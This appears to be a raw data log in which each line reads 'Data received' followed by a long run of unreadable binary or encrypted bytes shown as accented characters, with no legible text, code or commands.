Data received	R'y¤ào`àéÖ©Ìæ8]À\N!ñdÚÆX8`¢>õExY~0+' ¯FéÌàðMÁXB?K«hrÅ¨äQ±Â<mìO,ízÐ>.yQk"ËPk ù's §!åÞ&¹Îð9ë2Âqh_çªOµî¬¤j1ÔÛ=cûÅ-<}È?s<}z:N»2Þ÷fzâ{±;ÏR6nðEbËâQÈg9(Pí$=\zE-OË2ÄÃ}y.NòFø°øØ2&áX~åXÓ,AÙºaêÖ'ôAQÃIý»NåÆ4«ãb¨Ót%DÕó}Q(õ®qùzyi~³KÍÀÇ B64 ôªuÈz«]´u¶ÚÛ0Kæ¢ §w 9;<6lø`(Ì½ÒÅ[\¸ÓÛ_Xì 7ZiÐEïëÎ²-9Vô^ö©úÔQ GæKÇ=ÌðóåPDìÎÝZ'q3¨UÆæ«Ä] ³Fn§Åµ« égMÒCSx&Ý-jã¹ONÆ=ùvÇÙw®¯ þ-6;Á²®ªÅâ=âXº<Çøä:úyò!îÕo rmªßØüÇ5¯N¹;ô43eÍpJç^M(ìýbÕ¸SË yk>éÅ£ïâdÃnCoðpÄ8ÃñAlZ¨îQq© Ûpê!t aI)héÐp1³S3»´pþûtnó þpMxAR¯#ÓìP$Ç{¨3[ö%xySÏý[Õ¾4ªÅÔ,ì÷BZ$¨Ãÿ6×Ãî Ø>ÑûÜNsë3£ûYQV¨Óº Ï¢Ù§wXC"IúÐOzÂ2 fáè¹ÜrzèÒM:;¨"{w7ù°£ù°Ñ&öqOÓfãz«ªëñZmP¼Å¥ÕpßÙ5x{ 'D´X%º+ZØ¯ÀcôKJÏý98EuAÑä[ ðóî¿ßµÌ·Uç,"JA¿§¶5í¬%¦ÈÉõcéÍo5 d Æâ<J¾S®°ûxÖ}k6d^0ÔÛå`®.KÕVoÀIköG[D¨f0¼Â,aL:Mµ@»C¸?qt7¯·²3þDFô\À®à\é©¶¦vh+ 8§Ub¨HUîNoA°¶ÃÈúSx¼þk[ñUÊiô&o¢Ñ¬ê¥M{CÅÎðË^É¸:¨é%4¯ûÐ»¬i¾ùc¬áô'¶»#ó[àËÃ¡cAË9ôLdê@BöÙë<ÛÑÃl§÷m4Úêgr¥8, g¼ØCÍ<ãADüø0ãQÃÙÐö°, $±¾v÷>¾¹öòS®Ù=ö¢EOL:ò}ey Ã0ã}:Âþ®Hk¢T~ÎîXGõmb9gÉÜÑÐ²ôÇ Íß8¯Øh^Zé; $íÉ9Fl¡ôlÞÉïgx o<jÂçìí¢ÙàsnGR]»æU:VD BÚ]U"!é«>cYwÊiP§oÄÇä.o0ý¾Mè3êádbO«Ý<wÍK/r9¸\¨8¥¤
Data received	x©8rðãÆM×·s²°©Zù$èj¦6êxä ø3 ¼K¯ØP\|bÉ¡ÄÖ#÷ÍÁ,ÏB ©ùÞÌÿÈ¤Cgÿ°a ÅgõNûí&ÒêÌ)ÎÎ#Üt/zÝP_²lI~¦öH ÂÞyDR¢ª ×´J]Ç¤÷z6Ù1"7!${ -8à¡¤}ETiíâú [yïQaê?.¨t¥¾ìs)hA6ã ¦E½åçæ?v Ì·V3ÌÂ¨è[¶LÔ±Ð$òLDJ\|®µýR ô»UXãP`y«ÿôAê¦º>½È2Ø ¢kº¢FÈg.1Û;êSÖ£ôìÒË]Ù~£ÂÒ/º IÍMS¸âêBDÛd¨ tÞÚÛø )WfàD)eDK'Â7ë£%ö·¯8Ôö>®uv?WT_ºß\ü?l"Ì¼§¢üê^+úlPæ^«ðV¦)·Éhåÿ¤ÊPA×éÙÙJëy4Az¾¼8ºtØ¢Ü:õç vá7ÿÍc!óØB%¬ÓKbüÔ#h®©¾püï fÀF_ºÞÒäØs»®'Xoö1ÌE ÀzíÑéÚGkê¢çGCØ»óáýÀ-É/#k!ÃÓ>Ã&}ÿôwÝÓú²#<;¼fE¸py½¨ú±àÈ£ô¯÷:¬ÂÙhpEÄÆf\$ ÷.x3NOHÝÓ¢ç<x,§2é5Ä¥$ \ 9¼¬êÔÑ®³Ðqùq xÒPcÓïmxÓ=þíÃ7Ú\bÎ©ËÊÚ©@Ò£qx bF7HÀ1Öí«»Ò}Êì®Z.¦ÿk0¨¾õyÈ.w(b}DÇÐÚ'àòàÇµ¬Åö869Áæxñ~,ãÃwÐÌ×"§ëô/íQÚr4Ã<iB´®Þ1eGDv9Äwú³ãYiJtÝf[?6åÿ¬· lq©ýAáT2)Zp«ÚýÑ0¸Lü-:ø[kXpL¤ä±I§P6Úàë¦Å«M"°c]VËl"ÙK§_×.wï±bñX°M¹°¤¬kÙ¯)Zµ1ñí3Ç{Õ-x=aS¸(§ík¨r:êaBbÇ13ZxíúLHûTÝåy1GqÂ¸¾¡\óT×GµÆ1Òò3uÝå»¥Æ¹¯ôj¦ìjìõmÇõð:ÁQøïÃ¼È,ß`¾u¾¸XOöÆõÀª{·YZþXú¾¦U×FaÀýt±ÛñúÓÂãàå{³Xë[¦B7Vö^ýY~32VóÄò¢ ;ù¤ÁËeäç:r×ÆÉé±´c5;ùrÒðZõ\÷öXÉÕ^\W¬5á¼éÄ·7+S÷$`Ï÷ûÎm¤ vGinÑc±,üää&®ÖZtÿÚ'ô¬ÎÚd/2µ 'í[½3òOP6GwåiCíßo6ú6æÞÖ_wùñ#bî-E£H×Épãù¾ÌPñúï,){ &m Ä°¼}gC¸cEÿ»&ÎÔq¿ðûl@èßtNth¼·ÛÄDÁìÁ.j¾øL®åÔ÷°zßÑÚ®AÇ ËøØ9¿ÖC¬t!%HÀXÕÁýáéMnHX~ha
Data received	ÃÍO9¥ãÌÐZ¢º«eµÇ×Eë(bpþq,üéX´/ó( 6éQÛsf+ÿr@kúæ¾Ô¤@ÙÄ~zj)×cì¨~þêæf¢Ã¶º>:ó«óÅ,·W§RÇ«0·,]ÆCTw!_á1e+[Ü0¡ÞÜÈ³ªSoe_4QRÞ/±ñÛ;®ð¶ÝÎm àsåÒé0å Ô¢ÎMEzh»Ü,Û:Öã¸ºþð¯£-Ç %×´@ôÿ9ëb$Nª]Np¶EÁÍ?ÌBÈxÿyh}À¾lýðañøóá06?cÁL=Î"Ï[å·¶m-z²\1«¢ Ìÿ(Ý«ËðúøF²m¿77LÃlæ¼ê§½][oÞ-¨fUä,páè`·¨Û¸ùªàõÞ £EÐ3&¹xzÿkØî!NInÌ³ØfY4s:Áyà+Ãàº¥ÏpuyTEfygÄV\|PÆôò=¨>¸ÚªÍ:8ÿ£ë>&ÉDD¢·¹"0EçO ¡jâ«Ä}_êº±þýOÖoc¾`1E=©ÇtÜÆ¶ ê>Ý¨Dísp«Wdê>@ze¹Æ¹nÒShe¦/#N:'¨3~ì43m$]_1ÀËuq¯(0P Ävú±ÐÉ !0p9`Ø]¶%¤?ãzkái2TteÉö5£x#i9>öW³-Ì¹2Hûßèf³È&Ï.aåÇýâMåný`Ö)Ì3©<pN]©+ »¤ç.ÇJ{äÜ<oí-F+àò@òÓ6§ÙW®ÍØ¸qüÛÓ·Ø{±³m!Ú?+ñsõñÁÑpÎ$¿ß0é©\ï{®\|üárAÅÐÊÔÞW(J==º°ïñ°R¸¸µC'1ßVAHÞ®ÚÑYov<àÿ}êð²²0öM·ñòJ`±cXéçÞ¢0m§ÙªÓE'wgQ/Ô#õíOÆÅãõªÿýàß¾©vøÐÕÂ~?SÉsñ¬ÀËU4³ù¿½+ÃaD«µBíÄîòÉ²<ca ãµ¢e¸¿/-D¬ëºÅBßnê?ã'#åìöHlÂHT?Ü~Lã# öÏAì¸_îé§æú÷õ$©+¨Ä;}]ÀÓÁÊÊáL ¿áÙk±[+CÆ~}mnS(ÏrÅê\|aðYXq^ÝÍÅ¶:9«gdXÙ)4M*q$'ÂÃ¡t¿M+© íµ¿¹ÄºXj}KÏ`!üIs÷Ìí0`ÍÕï2p÷Gu$s@ã¿#÷ 3>M·QY\|aáÚâøþ:H{7© TõªU¯ôÇÂJuts6@HáQ·§'Rÿ0Dá53\ ú¶¥A}ªþå&L»Àâ³ÛÅh_ìª<½ÝÄ+óÄç +øVÖ8§lýü-ª©S1±v÷ öÛj >Õuiíùó¼ÝÚ3VDÄ%? N ¨@ïR0è»9`Í¥âµ¥ª`I£ÜOX.®N;kâ¿úBÏúÃt"´Kiµ(G}ûL WJ;°ÆóH"Õluüú\'i3O¢d´Òfä³¶¬2Ýh@ÄÈ if¦ÓQ×LÖ:\¢nBLFlñL@CÁZ{
Data received	«}ÞÓ j7ï:y²l¾·$®o8»\&6¶sæÕàTÕÚqVµÃ¤ Ù ò³zïw`Cbá¨'ûÊ3<×®7~¤M:¡´G¿Ë´kÜù7ÒfVSÓ(h`¶äú@õ¡2F³ØÀ:Â^Fu\|"ï°÷âê$ònø¦&kÅl«wÑ¿OS Ô 5úµ3j£4Ùúì¦öV:Àu¡¼eãåÖj!:ÿ¶·^y\d¡þ ,LÞÇæZXÄw^&hït±syâ\SÜó±;iQ<"Ú´µqgðªW<x:Çª>6È¿ Ý$ÝaÑ´hì8¼ZºsÌEâÌIWßy©C;Óëy£ñn%.õ® üðDûgÄãR)ýáé÷ä¡³fÿ¸ÑètAPëº¦´ñ¥3\ÔÍFÍP³RßÌkµÛ²¯àJèKÒ<tÚ°§!hL`Ôi¾ 5Õ\þXóMÙþR7Rè¤vPT ortüÝ°-gÄPµ0b¢7Õaû]DiÔÃe¯à§ØV ºcC,5Ð×2°^)xó,Ê©k]¢n<¤ÆnØö¼íó³-xÌ&AøÇXLÒ¼BtróüªÕsÙÉKûÀþOø4PúG$©¡ÔjFJõÙ %ÇöYJÕöOt!¯\Öê±z3×´7ÉO Yö9ñÆ~y[u+`%¨:À <þ nç¿E=[TWÎ>``ÒP¯¤tFÐëçjr'´$%1ü7×Û½Å4KhÈÍ¢WftrÏÝíGðxÒ®ËÉM¦R¾0§+í>uà[Àqwkú?Ê/>ÍoàGôéãV+b©Hqè¹À(ÓÊLí{YÜÂ<ZfY_yØJ]Pi{¢ÑM5~JbãÉ¡¥µèSL=UÃ·95¢%ÊULÛ(³Á=ùÄ.Þ1z)áßgËBÍWì/heÝ¡O¿Î0:]¸¦¡Î FóbÐ`øK×ïLüêïç ¡ Ù3Ú°#EF²ÇÖ'eÝÇ°Ó¥C¤»uè%tEGÿT²ÔðÊx2Q ezVqïBÞ¬Y¡56G²¡u(`ýâ¶´:Üª«:×/ÙJìCÓÐAâà} ¢«èëéÂµ"¾Hpø!ZÎÄku³Ë¢aô'ÍEÎBøWv¶7õqOMëmz³ôHÆú·ÛAF¬x¶«ákrcçAµÿï¶]L3Ëè¬(¬7ñölÄ^N]Û>ØL:ð<4 Â$5Ð\sI¶OÓ'yyfÈî&egST&ÿk)Þæ ¹¹,¡¯z¡ß´¡)XVßü¶ØpÚ2~/Ð½ C£ÂR];³¯¼éh8E[k«W ÑnIu¯é>!úÛ.Zñ»AsÖ`ZÎì5aãUÉJheÅOiq¯yª:Üÿ"Ë7 z°©ñU^2°3VM Ê.}hÉ1p3Îp~Ôr6M¾%lñ[ÐÖxúÎ¿Æ¨zlö¦]ñ´ûÅ&ÿ éÃOh)òüÁG\aÌäÁª*SäÔ6ø-0»°×>UkØK!xúÇù¯¢°>mJ(ü.Õ ,E¹,,ý
Data received	Ô¿F¬ÀÑõëkk¾öb]ê"sæÜ¬¯[ {>äH`?²,QI!¼²E9!Nò1Ù BVÅèuCÝ¸3Çèû9äÉÆ,Ô Z%3Ùy\|¨â»±Pê'e);ÿ+þ(îÐ¤CWíýw }òBµ0UõÈý¶'BºþÒ+½n2 Hµiâ¨Ð¦ë°jMH¸tµ)ß·¬,BÍ®AïÀCéqÂ%z¸ /é+Qÿü¾µóiÈBòïvØùV.>Bä"Hw¡h÷-Ä7Ï©äµäæt¬Á)ÀøÉþF¼ MÖ8Dk¢C2Û~»d[ú¹¾Ï+¯îÌx`}Õ×ØëPè}WûÚ9#ôÔ¼áhù¦ûLº(ï ÛÆÖ¸¥5,ÃÛÜPØµfÙ-ÉÖl©É¦3Z·ET$ùSÄ:»EÕµ}NEÂùz¥åÇç.yEEñKHzQØ·zå1ïzöèê)GÌaI/qç=N5ÓmR-iëÙÕòÅS8ýhÌ<L76®Ã¯i<®a¸¬/'W×=UpÚÿM¦·bÈFÏ¿a.DRü3_!1cußLxnTßQUè£öi°Në;D3áÆ_ý¸&ç\|ÏÃäÌVB\|6è Õß£·5wxù8e¤o)Z]õÃ=BGÂÃX½Ýz>fíw¹ðeé<ÝË1·mëõòÞ¾65G8w!ðï ×¾ýC-ÝTIÕ96~Wýéäu`·æ×I«mQóë^Ø±ÕÂrÛdç3ç[±«ÝT¹ßµ(}÷Á©½Ü>4Y%ªï(!éëÐEK´d«ûåm³ö^^ïÝÏÈ£sÓÂx×Ý}n¥Ð¹æ xI %Y¨Ì¸,X wð6(æåC`Ì1îî±¹Êd4$§[¦¹¤]ÔoÈÁmÈ¾x6ÞØúh·Ê¿¡ógeþºÆä^o1¨Ä~° -½Õzðó×7Øûg"ç\KAÑK¤vJx¥ê9ca§Áe¦(¢þ/NFuØÄ£"ýB?0FpæÊN~¸CDV>\|.Ð!k Ë²qÚå=i¾/q"2?oõMqøX!^[Ûlv#i.iÒ¨Ü>\|±P#úæ¥êîTHT·@g eÎSÁß,Â'^~ÒWÕÈÇÞ×Ñm!n³ª¨ÔéAq-;iý À ~¤¨vÎï÷Çz!VàÑ'êÚö«<½ÒpÜaÏQ,Cµ(B$ÿùÇ ò©mE\±õâ#2¾úÝã· ·T{°¨ Aû!(ÿI¹>gGâk VÀ·-W½í=ï÷Ö>ó¬ÂÈ°u¨N§åùQ~¥ GÓoM22ìÀ3KDÁnÂ>á%Ä[âXÏYò²Á_³Aãb¤²Æa»ØRï áºmüUØvÆÓqï[8ª.r,0Öþµû/ýúÍç« ¢>ËDó%cñÜæLM§×d&7q/Ú^ëfZ5dT±HÆÐêy¬qãÿ\|ãbÕ8[:>,¯§þäË£s!Ró0aPÝAWõ*r@naÔ[ÿ)Õ¿ÁG®ÜÅ½÷Tû[«Ã/O¹!ú±
Data received	MBcßÑ»4uu\|ÇzP#xÚ©N%å?©:j_¼ÚÀÆ~:Êã}¬Þv«êwÆ~P/ä;ÀÊxúke¯Ö'}ÐiTé^JFYLÈÏuª? ëÈ`>j¿IW':·¾mÓø¶Wi÷Þ:¹ã¹Oü2ðç5o'U¹¢ª¯c°/àb7ÁüÈÂ¯P0¾®h§°ÜÏF¸}a;Îe²YÈ&á:±SgS¤½!ãe6úK:õ¦yËòÚßÉ`µñ.öY¾ÿÓQLÒyo\|h }+Z^f)«·>yþfø#ÂAÒÍ¬??QvºbEÖÄÄû3ØT/ÄDø¸DûîæER¡?ð¡NõÖ¶3õTÉgwgDÍ¹Jë#®x&!VËâÛM?5ôô8å}3V&j«Õâôü¹%jÖ H@VBXâûÞ¸àCÌ¦V~æ&@¨¯UÄ=êÁÏD/3ÒD¥â;yaÙ¼\|Ô¯ÓÇÏÓàäãâø¨èsÿwZÿz´ýø3ª(íHÐè<>2;#ÎbmÕq_c\Ûp`ÁüL{d¦ FÅí¾càMoeÉ.ý°î#³ã2ÍÎdâ¯¨ÚCFH7i/RàÃÅ`ð+;9qÞÎ%<.öfûäô¦e1Ú/dé5ËùÓdwÑ.ÝáºgnÀw2ÒE`p s4£>KKªÓõD·m \|î¢Võ2{7 - z§9îJ½âè´1f6YÒ¬÷Áx±UhÁ ÙQéõ³+¸ú¶WØéÞ¿y³ :×íË²]°4ù¥qµn÷ô¶"}aÎÈð3»¨ËÖO×z¦Kî+"¹áÀ°éÌ~âýs@ZÀ«Ìú,4®©\Ùäø¶¤=óËrée tÒÆàd´Y·úÔmübÍ¦}°$.O²¾üX]¿©P4]ÚÑÎ÷iG}¯¦¶á¸Å2¤!º¢F]é'Þ¼=)v8Pø%©mTN8ª)£É½î#SPð(L®!ÄjY¢³¶ÍÃÓ»!èÏg±$ò[\²äðt}C2X&i\|ßEfïûçè=¬¶ËY³±~d¢ªúü¤Ù~±À#vun«öÞÔíÉÉÉ¦LÂ¤`ýâ§á ßÏÅ2 åÝøø(á¸ydj©a_â²gý£Ç¯5s¸ DP ÌÙã<¼ñ6îWg¹(Q³ÅªØ§ ~ÅOCçúGÝ Ñb±X´n¾¤£u2oÛW`(=ÜV¸ýÚÙë´eÃ:ùHö!ì.¹Ë$LÞòÞ³lq[Á§íreSñ²¥é¬kÜ¬hÆZx@6-GNÙ¡ÆÀzá¹ðîþØ²MÍy½xK3^8P¬ßÿNF§ÉMjhx©TA»ÝíÔûêÓÌª½=«~ªÉ ®ÉIêìÍèµ7SZ¤á÷D¾ül¡Ù¿pðJS§»ÆEl Gj°qLÊ¬PXaHH--(3Ré5¤üÍTîöü¦ iV®Ô½Væ§=¾¬zeòß!a¥ÇQ>"³"]öÚ!á\¦9Hø ¸ªOºï?¾»g§ r(/ÉMf,ù@>KDÆ w+£²ÝÏÖµRu¬.õ¶tClþ):wE6óýÝ
Data received	Ì¹ p/åG¯\²b¹GØä{¯¢U¢Eî«¨é¤_Â´-ôîG[9´;¬8WÐz¤OâîeÝD}bëÎ7^í>îGwöË8ÝtWqYQÐ6Fèmä®]àQbTYjU¿ì£É(ÖöêBSoë'vV ù\|A!bÈYÅF* óì'\|Ü7ÕBª´ hSeNt(Ö ÏüÜèßkFýv®éªÙF:nè r )nP§ Ò[¹3ßQÉ\x¦ðhÃa¾üSþjF-ëóQtÇäç £[åëübhH9ìçÌ¯&ï(Q«¼ ªr°WÛ§°}Øty3ÚtCy®¸£êbdË2bóµÑ§&ÝéVåN0ý¾:æ{ÓtÜù\|´¥a0«Eõ1ÊoT>`Uó5ÍXíþ.!³ªn@öô8òÁ%i½W¼¼u?F)h\Á±ÇÅrWÍK9Vb)½×zÐ©#©P¬vWãfáðÐNò5é¶¾^dN>A?©\|Å6øI2¥J¼b'BÛn(% n$¬¾~È)èýÛÈ¬cð§áN~Î4znÈ©Á;`Nù®$¨¯[^çÑ G:Ô_2æ×b·âCh¿¦ø(þiÞCR0PEìF(/äþ×Aã ÒÂÒ ¦6ì73pw[d@IVHdXü¬ÿõngLÝ·[±Û·¤Ñ)S¤Ü)ÀBCH3¥¾eÛk®¡Â#'µÆñqÆÐh8L3&æ¦ËmK ïÉ2ägÆ ÒMè\|@ÏêÌeèóërå3]ÿ,0ÓZ1Y½dì;>áB3©?º0â§E#Ê³x cqÜºÅé_e¼%ô¤×m[ñfÀ±/ùÉMâQV^ÉÖÊµ:höiDù~Øaìç]?º]µQ°¤mMwj¸ nDßÆ¯³?±èPµ(ö°³>Ã_YõZ,=âO¹×pf:1!µr @øþá2\|óÏ1Æ^E&VaP¡cìþÅjÊAbèÙiúío; £¾¡<kAÄùwA¿ Úúµ°)2Ì>ç½ÿð _IUç]½<xÛÜo-P¡Þª±V¨jäÆÇ öJ¾Y@±ël°EzFCÂ¶ wC¥ß/©Ù·æRÎ!§è6£îmù¨Õ5³OS^8ÞZ ÙI£7°¼YªEÆmÑæ´0kb¡6;k¾ÁN¡Eðq +§æí.í@£0äýì³²ê=7fò6U ÃQ½;¦¾ËâòÎqú±èòGÆä1Nèêß¼'++ÅzRxCÝWpL6Ë>Íÿ±Â¦ ,,ÚyÜä^Úö û>tâZØ³ÊWÈVïC³3gÎ¬30YfÑÅ^máha¥AÒ{ÙöK ;32gF×Ùâ6sÌá¼9ì\|ìcaÅ°Ê;=k¸f56böHÈ¦£ÏZÛ~õ7eo!°ù~¡'ã©4ÄnS[ÀîàfMq=hóàFÊª-Á ô@Àª@8rRà+ûÒÑ×3`0ºdb¹` ×vTà ùÐ*ò»ÚA¨B;Ós §¿ÒùóÚ¬_ã¦I¶¡¹\©Vlÿa¡mÜ¦
Data received	'}¶_G¬ {<lÛh{auòÙ±¼Ê ·¾ íG`6h¦¬ZÅ6XÖéÁÂX¤5Ô´bàf×Rëð© üxaTk=ÐpN¤¬§ Í¸¦~@$»´· .¾`[44]ÈAG«.SÅ3'É 8+(Ø)ÓcÁ(G¹¨`¤iå¬Q+³Æ6.ÙFàIïgçyébmÃ"LáJ[Â´yÄ)jÄçÉ÷q¤JGûáY%$"?\"\ÐÑh^;>#ÉÀât{²&Èb©ËõÛ·3£L¥`(ªA_·D¼ Zµ[Þ VpUùûÖôjËû¬7 )Úýkû$rE»o «aâÕfy Oghy¢Äo \ î(uá®È"t8%« `@QçÅj><òHQo4à´òøÀÜ&}ï!Á´í(G`¦Á<J¹óTú)õýýÝ°Ñ¸tÙ)á-y·ÏoÈIMàùªÎI³U¥9»rìVé³¬Uê:õÎ:¬æ·âõWä¥Êò\|Î28ÜU!ù¶D=,Ìt¨èïCÍùÓõRÌu±õæBÒ þ·ÒJÈ·îlZMÞOómEÐ°¦vª_1øåå®û¯/T¹×!]ßd Ê´æ<=Ê¦W-Dîvf®®AhQÎ¯ê´XõµÞ¾0#ØJx04k_ñó)u©jWggÇèµHk 2Üï2õ÷Õð7K~8QÖ7R\|²(ªª,KôÝ V@¹8Ôµ½Ó³Ã?ÀÓ²òLF[¿ñ%K63³¿pþ¢Û ÌðMB¬fàaÿÆØ¾;îSßd=êoòyOOxÛc¨©Ö&ö¸%äAïÔEP«¸þ_±S;<CøÿÁÃ©5«AîÄ ñ[Ùïk0hpNâÚ5¢éÒýI ¯3Nmã½,yjþ±K r)~;Ûé'LDÃîîüa¯µ¡kFó¸¨H`EÒxJ1+azðÙÓìcVåCéK`lÙ7oL"Ûx`¶SûÉ é¨ÖN;=z#¾?Åä±/ v`joýj´àö`cÈél¾ÇÉûä7^dM!a´ÄeXÈÓª/b=òÎØrX¦úIáe`Á® ä>Cûdq4]è\|¢>K¦~tð7ðv.ªÜÝæ®Ç`EõÞ1÷áèØè a½´b L®?7wºÕ±J²¶0HöÙ7î<GWsÁÍåtêØüÂîÜ¢Æ"ÉIëüäcoºë:^[ \|ûzüix;âAãw10³þtô^J>sK~¤ïH>rôØ=øcé]QzåÑy´bAkw¡(hþÄ'AâÖ?¹tÐÛÝù'Þé]!imr,&/jE!=À<xNÆ¯h³Ñ²í°l²hÎËGÏÌ ëÞA+6@UÛæ?5Éø{Ó °UQ'çÎÍ{ÚÊé®Z½MsØX¼Í%Ö.jmÝw·´$UTñgËÀpèfm_ûéYÞÒãÃm(L+÷Î3;Ìb¢÷3v?lÆí9dÙ¢¯Âg`3ØÆ.ÓO:ug¡â²¸PÑß 5tm{.Dò3¬Å Éq*;
Data received	T%ª8<¹Ázeð2¨'NN?¤öD¼¬ÄN£=!Sá#9ÛÝèú°òíäu¡ÀÍRa&¿kMºÒ<Ù^aQ;áúÓÌµ²îÄ8C'È}õÌ" ã79¹+ûUdamÜ_5tÒçXã4Þ·^¨düxì»Ç Ô~ä½¸u2_¢?Ë{4û,FÕIón^±"þNÔüÊGål;³9I·Pô ¹ÏhU`«â¥U¡úR¨Jææ²eöaÔæ¥D±}æa.,X¦µñpµå5v~ss±á¤³ÓfFÆPºéI´ 5õ÷¬@¸©Ë&ËÇÜ´rdÓß¼æA¯·eÆê:,'¿ ¥S^6Þ4\|Qt:GÅd5w1ºjm=cûsóÉ<2)È0ärôõ¡®È/ä¥¥ h¦k%ï«jxgeÈJ¬I GÝk/s°´Íú<:¥y ïhgð YHéïY¬²È)§pî£Iªfã¤êXxCû®+;ºÑÄ^9Ñ]SÎj®xíP1B &^ER@]@ØÜÒgè¤&Fg¯ÞP«såÔ¡ökWøòhZQ·æñt7å½wÿ,Y (Ïn0¹ä ³ ¬ÊT æ½ÿ3»JO'9wÇF¾å^Çéäâ2ÎJ³RyØFC5Á\Ê9=}É9s48ýGÎUM ²ëÄÛZÀJ(§ÎÐI'03¤ì:Ñí7þuÁ¶ï{Y%9Éøú¬Zd»<P9KU%$ÿD]ÀA¹/X³³É#ÃBBâMÏACí^p×Uæ½U§y[¯O6°£Ì`¢F~åëÿñÎð±ÝÎX£v/r(MØ\|jâÚ÷+¹,·ê£±më-M#[éöîosQm$}/¸gä¹&[M9n+ßðªÛQÒ ;I×woKg6þCí2[>ösÖRxE}¥s¸A£·)üz;Ù¾Ã+T¿9óÎQºÖpÀE%XñXØës¾Ó¥mT=»yüT©éUVãtw Ò)>)¸á;¨mÜÑ3µhÉSöðgm´²®§eÜëúG´A·r%-¦bzzÄ?R+FvëÇjÕdm#Rºh ÉÄ_3åÒÅ·×ÌÈå×\|:X+³¸?KiV4:èÊ©DÀCùeQ/ â6É«Ç)å°åy7þÙªsFPÛpI êIt9Çý\|[÷Îø/è©:Ir¾àÀ:¾O"±£Foò9Je4\ HÄFºui9qZ»ç½Xrä¢X»ß¨rT´@O9µAÔ9éCO&¬qj,Ö³²¤Ú`h¤X1ÂdÇ'(ô)ÿ&qé8À6ù¡Û7÷yÿ2s¿êyÃy¸°I,Ü=\×½X§î'.ÅÌ"H) ìiér6¯¡#"a©fÃ¹b²ø¯ÎeRÔ-ö¸? t¨¶QÖw£¼õñl5<©Ðt%YGÏ-SMJu ¼ @óâ½ÐÃ£wçÕ6ÈzP]µcÅU4Æ0M@UÙPQÒÒï¥ÛÇÛð¥µî\æèÇG$fgÛ)ÖIKh8lq93Ð¹ñl8
Data received	ÄÎàµ(^¥Ù>yÚÚ P.ï¢u÷Õ7ÖË£\è±§}òïâL£HCòô>;ÆDó¶âöÊ¤Òñê\|:óã^n[¥Çu"»>³Þpÿ©°GhW×¦2Â^e+Ä¯ÿO$°SÛ\|¡Xú½Îü> HâÑý2j«0û<à£ðð÷É'vj9Æ/ì7a\|LUßR©ûú,ëß¬=NÛ×0OÛåmov¾ ãâ!Z~:kwyN,È;°;£¤ÝÒ£%Ã©Kð7Ø¸ \|ÙXmX,~Nd¬R'+6DürË1ØM+åBZÃF\QlFãäv%w,,GôïYò Mn"n0Y¤ÆÈw{^N\`«tgÜ>;Õå÷()´ôbísÆäº\|[_8§¶:¹[¼.BýçU%Sg.¡H1rWWtÂçSÅU{V½ÿ:=éöÑvh¸êNù^2NjæÐfý Fz'§Fý9¥s0EìQ`ds:¬ì¸ÊË~hÞê!Gw§à8ÅyÁª°'Ó·ddíË0tDX%IÃ{;-¶V_3qè³PõO»Î«vDyO¥cZ%ôÒ¢°Âvþy'/u´ÁíñàdøÔYl(Ö¥/áîÄÉ( eRÒX´>P×]zè;OG"iâ`Ì\|óZ:oJhèø2-c´ ²X÷ba#ÈâÆðû8km gÓq«aQ Xµú6òøïñµÍû½°¹MûG¶Ä«³Á} Jh7EÉØPãytjò,Áþ~ZÚ¿OqPÆU=òD¥¢LYi7°V" ³ Á:9ÆïÀÿy¥Q3['©oÕä°,{º2¨³së7óN~É/nµ5&fè4övá¸>þÁ2}N)?pÐ1%3 êH_Ý4h£4Uô°§7mûxðAuA¼H`1Z;l3J¶û?§ði²*¥;¿HwRTt¬+ÃÄ@b<FKºýöDH¬úqÝ³õy±©Wd¿±Sci-6_§u¼?Ô¢Og^´ç½½óìÀ 0NõÃEÌ\|ÇÊÃ&&T¿-t¿$ß©r»±Y î_B2ó¿@T4$Ú¸f1/M[µ8M ËÛù"YkÑIíÍ»ð¾è#ÍTµSQ\¶Ø6¿Þ]¼Ê>ôvãØÃ·ç)]¼B&+p±@Ìóe¥þÛ /í/-(ñV»Z9.¢D¹±u)fùêöÅû¨õVØ½tÚÐ<~@M6-j;ÝoäIÐ¿¥:Áù¤ú[ËEÙí³qÌ9ò[ùÃ^û\³·ÌôÐ·í¢)$É®Ò¤ýâôk´°È®$³¬úXi/;SþlUíÜ)ªuý¼åßnÎ¦AøòUvE½÷í¾ÐDÀÉÐå2:¾¿q°#ü ØkÒ+Çë/G{ë$ðÜH~ÒP§QxQT¸ÄU©ç¾vñíÜ_Å¿ß¨bñkàü¥@¨ ¤Sé;¯æÊÔÃçO9£Îl$ß÷4ç£ËÌÃÐðBçRWCHøâ²I+âÀa&èu{GBÚ¢cÄ]2ä¯ 7=iú]XÑ_3ñÂ"´l\|§ â»øu².Å;GãùaX
Data received	Ë5 q¢gnàw@8]p¹vR¸ºVå¢9ö>HáÍ}vªRú@#°HÔJÑÂ[ésÀ8õ®ÔÜ 7]Ñ«\|ôìdUÎºîõ#!·YNÊ jÖù_ ²æ ç³3xa;ÐQáNR»=ù±fi»ß»Æß¶wÑO&4`Ö~0ô«.FHº±ßâöuÐ(òíÜÒÏÜÿð6l"O(i9Ë_·øÌ~u[pZÖàZÕ?%ôP³mÜí_0ä&ÎzXo;$Y"&¬ëüH1Ý1¼²²ÕL§)küÌMf¡ÖRüOµ·1òvýåt@uïè=uUïÂÎ/%(bÑ{]c:^øsõª/WËÁ=SÍÃZbÜ¿ öýÅ¢uìçuÇok/'Ûþyómw½Ë5³Ï\©çágÿ¯ß5ó:þAJqÂÛ¶é¬x"Ë1¢§zçf/_<?tüUrÞü·Í\|é~Î!ó¦"¨§ø¢/~kÃÎ[ÚÄµõ%'(¸ K ½ bB_.%ß%S.1±Õg¨¡P-C½V²KªèTÏÊÔO¤YA<Òþ!ì9fT!éÈZ²GcZQ$2sBlkÍ !REí_8%Û«·Oÿß3å;§ôH¢àk·òCAµ88Ðaiã Àk3¨DyHOXáíó!%âÇ¼ò!5<Í³âùZ³\|@;Ý¶hO U7Jä5Ïdª×Ë÷â±Hc¿´Ó]0gÏ¯i h)ÅC¦áM+oð¶Ó¾Ç\|^J_q¤É¸0²°Èuì$$¼® ß kÏüÆ<fU#½M´7=²«¾=â2á_¸¤sãGkõ±ú§¡¡ÍQ @;î eÈìÚB(²ÌÇuw0°DUÐF[>:¢ ó'(¦° %Aëî ©÷ïUIÕ°°4éÑx,òTÏí{9,áCöíwb¢#QÔæ5\ÅV¿°â½Ô JIïl Ç8PÆÄýÿµÛgl ¢2îïWVø£ð±ùle°P¡â¿½·Ìäówl3e3÷®Ì³BÁM:#«\¡V ÐçIú;ÉÃ?µsÉ\|xó! 